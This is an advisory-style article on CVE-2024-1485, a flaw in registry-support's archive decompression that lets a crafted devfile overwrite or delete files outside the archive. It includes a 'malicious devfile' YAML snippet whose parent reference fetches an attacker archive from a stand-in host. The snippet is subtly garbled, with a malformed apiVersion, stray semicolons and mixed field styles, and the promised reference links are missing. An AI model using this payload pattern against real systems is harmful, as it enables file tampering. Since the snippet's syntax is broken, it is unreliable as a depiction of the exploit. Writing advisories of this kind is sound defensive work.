A critical security vulnerability, identified as CVE-2024-1485, has been discovered in the decompression function of registry-support. This flaw, if exploited by an unauthenticated remote attacker, can lead to unauthorized file overwriting or deletion outside of the intended archive.

This article discusses the details of this vulnerability, the associated exploit, provides code snippets to understand the issue, and links to original references for further information.

Description of the Flaw

The CVE-2024-1485 vulnerability exists in the decompression function of registry-support. The issue can be triggered when a user is tricked by an attacker into parsing a devfile containing the parent or plugin keywords. By doing so, the victim unknowingly downloads a malicious archive, which, during the cleanup process, overwrites or deletes files outside of the intended archive.

This vulnerability allows unauthorized access to files and data that should not be manipulated or deleted, thereby posing a significant security risk to affected users and systems.

Exploit Details

The exploit for CVE-2024-1485 involves an attacker crafting a devfile with the parent or plugin keywords, designed to download a malicious archive when parsed by a victim. The archive contains a file with a malicious path that would cause the cleanup process to overwrite or delete files outside the archive.

Code Snippet

The following snippet demonstrates how the malicious devfile could be crafted to trigger the vulnerability.

apiVersion: 1..
metadata:
  name: malicious-devfile
projects:
  - name: safe-project
    git:
      location: "https://github.com/safe/safe-project.git";
components:
  - id: malicious/plugin/1..
    type: plugin
  - reference: "https://malicious.devfile/parent.yaml";
    type: parent

Upon parsing this devfile, the registry-support decompression function would download the malicious archive from the specified URL, allowing the attacker to overwrite or delete files outside of the archive's intended scope.

Conclusion

In conclusion, the CVE-2024-1485 vulnerability poses a significant security risk if exploited by an attacker. Users and system administrators using registry-support should ensure they are running the latest available version, which may contain security patches to mitigate this flaw. Additionally, be cautious of suspicious devfiles from untrusted sources, and, when possible, validate their contents before parsing.
